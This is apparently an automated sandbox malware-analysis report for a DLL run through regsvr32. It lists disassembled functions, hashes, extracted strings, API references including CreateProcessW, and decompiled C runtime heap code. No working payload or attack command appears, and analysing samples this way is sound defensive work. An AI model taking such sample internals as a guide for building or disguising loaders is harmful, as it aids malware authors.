Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: 9afc1e300d741774a680026ef55b814baa8c9bc1b53663ca5f48fe88e5bb128d
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction Fuzzy Hash: 6A72C430618B488BDB2DDF18C8856FAB7E1FB98305F10462EE9CAD7611DB34D946CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B7B2 Relevance: 7.9, Strings: 6, Instructions: 449
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

j, xrefs: 000000018002BD56
m?, xrefs: 000000018002BBF9
i1V, xrefs: 000000018002BC55
{=/, xrefs: 000000018002B8E8
E^7, xrefs: 000000018002BD0B
BaG, xrefs: 000000018002BE19

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: j$BaG$E^7$i1V$m?${=/
API String ID: 0-1718370006
Opcode ID: 7e95e28927a3f474dec44438ef6f7c2193a6ae12a65f48f1ee29bcd4551fec0f
Instruction ID: c2786c6f7bce021451845d5168b6505f680b7f0c5368ce25f063ff62f9696b2b
Opcode Fuzzy Hash: 7e95e28927a3f474dec44438ef6f7c2193a6ae12a65f48f1ee29bcd4551fec0f
Instruction Fuzzy Hash: 64223B70E4870DDBCB59DFA8C4AA6DEBBF6FB44344F0081A9D805A7290DB74560ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180005C74 Relevance: 6.6, Strings: 5, Instructions: 307
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&C, xrefs: 0000000180005D95
]o-, xrefs: 0000000180006087
$E, xrefs: 0000000180005F53
z_o^, xrefs: 0000000180005E6A
b , xrefs: 0000000180005CFC

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $E$&C$b $z_o^$]o-
API String ID: 0-182765021
Opcode ID: fd2830ddd061059d70b3ed5c5ef2773e5c4c00071749e16c1f80641060217d81
Instruction ID: b82cae2a5c5b3167ef3d8ad315f999371e1e8449cd72bf967428ee4211bfb190
Opcode Fuzzy Hash: fd2830ddd061059d70b3ed5c5ef2773e5c4c00071749e16c1f80641060217d81
Instruction Fuzzy Hash: 5CE1277151468CDFDF88DF28C889ADD3BA1FB483A8F956219FD0A97250D774D888CB84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000359C Relevance: 6.5, Strings: 5, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

?I , xrefs: 00000001800039AB
s, xrefs: 0000000180003832
8, xrefs: 000000018000367F
k?@`, xrefs: 0000000180003705
{>K, xrefs: 0000000180003892

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8$?I $k?@`${>K$s
API String ID: 0-923624899
Opcode ID: 59fac920170ce31af9fc739010187020a0354a51edcd4550f4f509655bae4bf8
Instruction ID: ebffd08f5432af4d9268e2276ec0df8890e8c351c8fd12e1d0a52c84a5ba0a07
Opcode Fuzzy Hash: 59fac920170ce31af9fc739010187020a0354a51edcd4550f4f509655bae4bf8
Instruction Fuzzy Hash: F4C1F070519784ABC388DF24C4CA95BBBF1FBD4758F906A1CF9C68A260D774D948CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E99C Relevance: 5.4, Strings: 4, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&k8, xrefs: 000000018000EB8F
,8, xrefs: 000000018000EF6F
\, xrefs: 000000018000F001
`/U, xrefs: 000000018000EF79

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &k8$,8$\$`/U
API String ID: 0-956392518
Opcode ID: 342d408fbb0085f8b5c961c7b7314e28d99ae80dc1fdc32ae007dfb548a83613
Instruction ID: eb6f1617cd975c6e10cf27e40abea16f203efbb492656816d2660eb5cb9ff966
Opcode Fuzzy Hash: 342d408fbb0085f8b5c961c7b7314e28d99ae80dc1fdc32ae007dfb548a83613
Instruction Fuzzy Hash: 7D2215715093C88BDBBECF64C889BDA7BB9FB44708F10561CEA4A9E258DB745748CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28860 Relevance: 4.5, APIs: 3, Instructions: 25
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D28876
GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D28891
HeapSetInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D288BB

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 48cf33cfee9be34a63005782b3e03b00dcbae59413766f72d2946869900c76f4
Instruction ID: 9235811b63a60011062a1442a231d54292fe2d432e51c42db702af6c27d11e97
Opcode Fuzzy Hash: 48cf33cfee9be34a63005782b3e03b00dcbae59413766f72d2946869900c76f4
Instruction Fuzzy Hash: 50F0FE74A18A4282F7949729AC0977E63D0B758345FA1C43696CD826B4DF3F9589C601

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025A4C Relevance: 4.0, Strings: 3, Instructions: 271
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

US8, xrefs: 0000000180025C24
6"*n, xrefs: 0000000180025E81
z:7, xrefs: 0000000180025F7D

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6"*n$US8$z:7
API String ID: 0-1851205513
Opcode ID: 1606357dec85794d189ee26d92c7f71c49412cbd8f38d505c9803facb48510e7
Instruction ID: 607295142d9547307d046de48b3748fa472aee76cf77032a28cf9f5936a2d7e5
Opcode Fuzzy Hash: 1606357dec85794d189ee26d92c7f71c49412cbd8f38d505c9803facb48510e7
Instruction Fuzzy Hash: 57E1F9706057889FEBBADF24C88A7DE7BA1FB49744F50422DDC8A8E250DB745648CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020118 Relevance: 4.0, Strings: 3, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-;, xrefs: 0000000180020142
00, xrefs: 0000000180020267
-;, xrefs: 0000000180020168

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -;$-;$00
API String ID: 0-2539125404
Opcode ID: 4bebef8070dd7c101eddf85a5aa64f5999e83061b5374efcb24450239016e0dd
Instruction ID: 193f60ccd2842279d11af0df6a42cb9b90b2b7ab7c379db6368ea7840d008f1f
Opcode Fuzzy Hash: 4bebef8070dd7c101eddf85a5aa64f5999e83061b5374efcb24450239016e0dd
Instruction Fuzzy Hash: 28A1377051478CDBDBAADF28C8C9AD93BA1FF48394FA05219FD0287251CB75D985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019628 Relevance: 3.1, Strings: 2, Instructions: 565COMMON

Download Yara Rule

Strings

zm, xrefs: 0000000180019EC6
f+hb, xrefs: 0000000180019A9E

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: f+hb$zm
API String ID: 0-4294548274
Opcode ID: 6963b25ea24f854b6089165216e044e7a65ef6823e0c7b2cadf5353a03fffeac
Instruction ID: b2f4f577a3df5b024e80de80ecfd692f42b94ed80d4232126a84951cd6e5a716
Opcode Fuzzy Hash: 6963b25ea24f854b6089165216e044e7a65ef6823e0c7b2cadf5353a03fffeac
Instruction Fuzzy Hash: 4852C97050068D8FDF98DF68C8866DA3BA1FB58388F124319FC8AA7291D778D655CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002ACE8 Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

#U6, xrefs: 000000018002AE5D

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #U6
API String ID: 0-3443268899
Opcode ID: e6a0a67d4c68fd780a130b425ea3d31e719d89ab7dc9c3de49232e364b014bec
Instruction ID: 59d24509ec93e958c93c94dd97d6e32fc772fd919bc53da4f0cdd3954875abf9
Opcode Fuzzy Hash: e6a0a67d4c68fd780a130b425ea3d31e719d89ab7dc9c3de49232e364b014bec
Instruction Fuzzy Hash: 57510E715087888BC7B8DF28C49A6CBBBF1FF86344F10091DE68987260CB76D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27640 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 290
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoW.KERNEL32 ref: 000007FEF9D2764C
_calloc_dbg.LIBCMTD ref: 000007FEF9D27671

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

_calloc_dbg.LIBCMTD ref: 000007FEF9D27858

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c, xrefs: 000007FEF9D2765A, 000007FEF9D27841

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$InfoStartup_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c
API String ID: 1930727954-3864165772
Opcode ID: 6ce8cb6e1d9cf3b4bca9567c45291f9c0e6eb32f85ec4de2f3338e3031d5b08d
Instruction ID: 1d91a8b9fbbdfe7efb2cec2f51c290a43986955e3ccc02e10ec1e86e5f3f07e0
Opcode Fuzzy Hash: 6ce8cb6e1d9cf3b4bca9567c45291f9c0e6eb32f85ec4de2f3338e3031d5b08d
Instruction Fuzzy Hash: 88F1D82260DBC5C9E7B08B19E88076EB7A0F385B64F258226CAED477E4DB3DD445CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27DE0 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__initmbctable.LIBCMT ref: 000007FEF9D27DED
_calloc_dbg.LIBCMTD ref: 000007FEF9D27E7B
_calloc_dbg.LIBCMTD ref: 000007FEF9D27F1B

Part of subcall function 000007FEF9D2D490: _invalid_parameter.LIBCMTD ref: 000007FEF9D2D541

_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D27F9B

Strings

_setenvp, xrefs: 000007FEF9D27F8B
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF9D27F84
strcpy_s(*env, cchars, p), xrefs: 000007FEF9D27F92
~, xrefs: 000007FEF9D27EFE
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c, xrefs: 000007FEF9D27E66, 000007FEF9D27F06

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _calloc_dbg$__initmbctable_invalid_parameter_invoke_watson_if_error
String ID: _setenvp$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.c$strcpy_s(*env, cchars, p)$~
API String ID: 1648969265-681193798
Opcode ID: a4493985eb34f23491eb94dc9b506d74831480b604230057d9b95ae3580ffa29
Instruction ID: 6f04160d34b6c1fe028a5367eccc3c8ebf9b699179af2d046024218ded9634d0
Opcode Fuzzy Hash: a4493985eb34f23491eb94dc9b506d74831480b604230057d9b95ae3580ffa29
Instruction Fuzzy Hash: 14514F31A1DB8682EB90CB19E88576E77E0F385794F704126EACE477B4DB7EE4408B41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27280 Relevance: 12.1, APIs: 8, Instructions: 104
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDecodePointer.NTDLL ref: 000007FEF9D272CE
DecodePointer.KERNEL32 ref: 000007FEF9D27375
DecodePointer.KERNEL32 ref: 000007FEF9D272EC

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

DecodePointer.KERNEL32 ref: 000007FEF9D27398
DecodePointer.KERNEL32 ref: 000007FEF9D273AA
_initterm.LIBCMTD ref: 000007FEF9D27408
_initterm.LIBCMTD ref: 000007FEF9D2741B
__crtExitProcess.LIBCMTD ref: 000007FEF9D2747D

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$_initterm$EncodeExitProcess__crt
String ID:
API String ID: 3799933513-0
Opcode ID: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction ID: 37cfb5e84e154ae2fbcc5f75e30e47dd1cf7b4373ba061ec72f9a9691eeac49a
Opcode Fuzzy Hash: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction Fuzzy Hash: 36511C3291DB4281E6A09B58EC8436EB7E0F386794F315125EACD427B9DF7EE544CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28670 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNELBASE ref: 000007FEF9D2867D
WideCharToMultiByte.KERNEL32 ref: 000007FEF9D28722
FreeEnvironmentStringsW.KERNEL32 ref: 000007FEF9D28764

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c, xrefs: 000007FEF9D2873E

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\a_env.c
API String ID: 1823725401-2473407871
Opcode ID: 12bd68ef287a579055a6545109484f2ffc82b1f6f13cfb147b3cff23ff6676d3
Instruction ID: f3219d0a3466b597a7d077589c81ae53176584dcfccb647f84a4fae4f36a6977
Opcode Fuzzy Hash: 12bd68ef287a579055a6545109484f2ffc82b1f6f13cfb147b3cff23ff6676d3
Instruction Fuzzy Hash: B141A536618B8586E794CB56F84432FB7E1F785B94F200429EBCD47BA8DBBED4448B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23D30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000007FEF9D27540: _initp_misc_winsig.LIBCMTD ref: 000007FEF9D2757B
Part of subcall function 000007FEF9D27540: _initp_eh_hooks.LIBCMTD ref: 000007FEF9D27585

Part of subcall function 000007FEF9D28FE0: InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000007FEF9D2906F

FlsAlloc.KERNEL32 ref: 000007FEF9D23D55

Part of subcall function 000007FEF9D23E00: FlsFree.KERNEL32 ref: 000007FEF9D23E13
Part of subcall function 000007FEF9D23E00: _mtdeletelocks.LIBCMTD ref: 000007FEF9D23E23

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tidtable.c, xrefs: 000007FEF9D23D7B

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AllocCountCriticalFreeInitializeSectionSpin_initp_eh_hooks_initp_misc_winsig_mtdeletelocks
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tidtable.c
API String ID: 3828364660-3898981997
Opcode ID: 433987b36a956229ec77e0de1d2b7e358b1fb906a8f620ef815ae1dd4af6a87a
Instruction ID: 54e8e70dd377f15c5e8b83e2f7140eab641006b368099d9e1d163193fdf976c7
Opcode Fuzzy Hash: 433987b36a956229ec77e0de1d2b7e358b1fb906a8f620ef815ae1dd4af6a87a
Instruction Fuzzy Hash: 5A115E30A2D60286F3E0AB25ED4577DA6E1B784B60F215671E9EE422F5DB2FE4048611

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2461B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E000007FE7FEF9D2461B(void* __rdx, void* __r8, long long _a32, long long _a40, intOrPtr _a64, long long _a72, void* _a80, intOrPtr _a88, long long _a96, long long _a128, signed int _a136, long long _a144, intOrPtr _a152, void* _a160) {
				signed int _t64;
				intOrPtr _t66;
				void* _t73;
				void* _t92;
				long long _t98;
				long long _t113;
				long long _t114;
				long long _t115;
				long long _t130;
				intOrPtr _t132;
				long long _t135;

				if (_a136 == 1) goto 0xf9d24672;
				_t64 = _a136 & 0x0000ffff;
				if (_t64 == 2) goto 0xf9d24672;
				if (_a136 == 3) goto 0xf9d24672;
				_a40 = "Error: memory allocation: bad memory block type.\n";
				_a32 = "%s";
				r9d = 0;
				r8d = 0;
				0xf9d2ad00();
				if (_t64 != 1) goto 0xf9d24672;
				asm("int3");
				_t98 = _a128 + 0x34;
				_a96 = _t98;
				0xf9d2ac90(); // executed
				_a80 = _t98;
				if (_a80 != 0) goto 0xf9d246b8;
				if (_a160 == 0) goto 0xf9d246b3;
				 *_a160 = 0xc;
				goto 0xf9d248b4;
				_t66 =  *0xf9d4b03c; // 0x39
				 *0xf9d4b03c = _t66 + 1;
				if (_a64 == 0) goto 0xf9d2472d;
				 *_a80 = 0;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = 0;
				 *((intOrPtr*)(_a80 + 0x18)) = 0xfedcbabc;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = 3;
				 *((intOrPtr*)(_a80 + 0x28)) = 0;
				goto 0xf9d24844;
				if (0xffffffff -  *0xf9d4c960 - _a128 <= 0) goto 0xf9d24763;
				_t130 =  *0xf9d4c960; // 0x4594
				 *0xf9d4c960 = _t130 + _a128;
				goto 0xf9d2476e;
				 *0xf9d4c960 = 0xffffffff;
				_t132 =  *0xf9d4c990; // 0xa0c
				 *0xf9d4c990 = _t132 + _a128;
				_t113 =  *0xf9d4c978; // 0x35bc
				_t92 =  *0xf9d4c990 - _t113; // 0xa0c
				if (_t92 <= 0) goto 0xf9d247a8;
				_t114 =  *0xf9d4c990; // 0xa0c
				 *0xf9d4c978 = _t114;
				if ( *0xf9d4c980 == 0) goto 0xf9d247c4;
				_t115 =  *0xf9d4c980; // 0x2303b00
				 *((long long*)(_t115 + 8)) = _a80;
				goto 0xf9d247d0;
				 *0xf9d4c968 = _a80;
				_t135 =  *0xf9d4c980; // 0x2303b00
				 *_a80 = _t135;
				 *((long long*)(_a80 + 8)) = 0;
				 *((long long*)(_a80 + 0x10)) = _a144;
				 *((intOrPtr*)(_a80 + 0x18)) = _a152;
				 *((long long*)(_a80 + 0x20)) = _a128;
				 *(_a80 + 0x1c) = _a136;
				_t78 = _a88;
				 *((intOrPtr*)(_a80 + 0x28)) = _a88;
				 *0xf9d4c980 = _a80;
				r8d = 4;
				E000007FE7FEF9D232B0( *0xf9d4b04c & 0x000000ff, _a88,  *0xf9d4b04c & 0x000000ff, _a80 + 0x2c, __rdx, __r8);
				_t145 = _a128;
				r8d = 4;
				E000007FE7FEF9D232B0( *0xf9d4b04c & 0x000000ff, _a88,  *0xf9d4b04c & 0x000000ff, _a80 + _a128 + 0x30, _a128, __r8);
				_t73 = E000007FE7FEF9D232B0( *0xf9d4b04f & 0x000000ff, _t78,  *0xf9d4b04f & 0x000000ff, _a80 + 0x30, _t145, _a128);
				_a72 = _a80 + 0x30;
				return E000007FE7FEF9D29360(_t73, 4);
			}

0x7fef9d24623
0x7fef9d2462c
0x7fef9d24634
0x7fef9d2463e
0x7fef9d24647
0x7fef9d24653
0x7fef9d24658
0x7fef9d2465b
0x7fef9d24665
0x7fef9d2466d
0x7fef9d2466f
0x7fef9d2467a
0x7fef9d2467e
0x7fef9d24688
0x7fef9d2468d
0x7fef9d24698
0x7fef9d246a3
0x7fef9d246ad
0x7fef9d246b3
0x7fef9d246b8
0x7fef9d246c0
0x7fef9d246cb
0x7fef9d246d2
0x7fef9d246de
0x7fef9d246eb
0x7fef9d246f8
0x7fef9d2470c
0x7fef9d24715
0x7fef9d24721
0x7fef9d24728
0x7fef9d24743
0x7fef9d2474d
0x7fef9d2475a
0x7fef9d24761
0x7fef9d24763
0x7fef9d24776
0x7fef9d24783
0x7fef9d2478a
0x7fef9d24791
0x7fef9d24798
0x7fef9d2479a
0x7fef9d247a1
0x7fef9d247b0
0x7fef9d247b2
0x7fef9d247be
0x7fef9d247c2
0x7fef9d247c9
0x7fef9d247d5
0x7fef9d247dc
0x7fef9d247e4
0x7fef9d247f9
0x7fef9d24809
0x7fef9d24819
0x7fef9d24829
0x7fef9d24831
0x7fef9d24835
0x7fef9d2483d
0x7fef9d24854
0x7fef9d2485c
0x7fef9d2486d
0x7fef9d2487a
0x7fef9d24882
0x7fef9d248a1
0x7fef9d248af
0x7fef9d248c7

APIs

_unlock.LIBCMTD ref: 000007FEF9D248B9

Strings

Error: memory allocation: bad memory block type., xrefs: 000007FEF9D24640

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: Error: memory allocation: bad memory block type.
API String ID: 2480363372-1537269110
Opcode ID: 0e27953d906dd6213389af50a7459ab3260dce137a7056963e47b3559a26f049
Instruction ID: 3c0f980f6ccd09ea8afc11027f8ae4c535623d5f1e7c019e481493293b97b3b1
Opcode Fuzzy Hash: 0e27953d906dd6213389af50a7459ab3260dce137a7056963e47b3559a26f049
Instruction Fuzzy Hash: 4B71EB36A09B8586DBA0CB59E89036EB7E0F3C9B90F218526DADD437A4DF7DD044CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024EE6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0000000180025094

Strings

z, xrefs: 000000018002502F

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: z
API String ID: 963392458-1375040831
Opcode ID: 044b6e1ce48cfd18270e48a4d1ffa5fa37b68dcc1aa27e33fe08f1a26b59e50a
Instruction ID: 5490f85ef4092ec497088e60b932e525f0ce693db587fe3a551d92928695aba5
Opcode Fuzzy Hash: 044b6e1ce48cfd18270e48a4d1ffa5fa37b68dcc1aa27e33fe08f1a26b59e50a
Instruction Fuzzy Hash: 5141C27191C7848FD7A5DF18D08A7DAB7E0FB98318F01495DE88CC7292DB749885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024F28 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 111processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0000000180025094

Strings

z, xrefs: 000000018002502F

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: z
API String ID: 963392458-1375040831
Opcode ID: 274a6825be770f02a4f82c9f6cbe831b28a77f7637ef6bb2e3a1323e28db6850
Instruction ID: 90d0215384d3738c1bd812602d16852eefab8a4974bd8bae5625081230a7a3ff
Opcode Fuzzy Hash: 274a6825be770f02a4f82c9f6cbe831b28a77f7637ef6bb2e3a1323e28db6850
Instruction Fuzzy Hash: 4741377091CB848BD7B4DF18D08A7AAB7E0FB98315F10495EE88CC3252DB7498848B86

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26FF2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

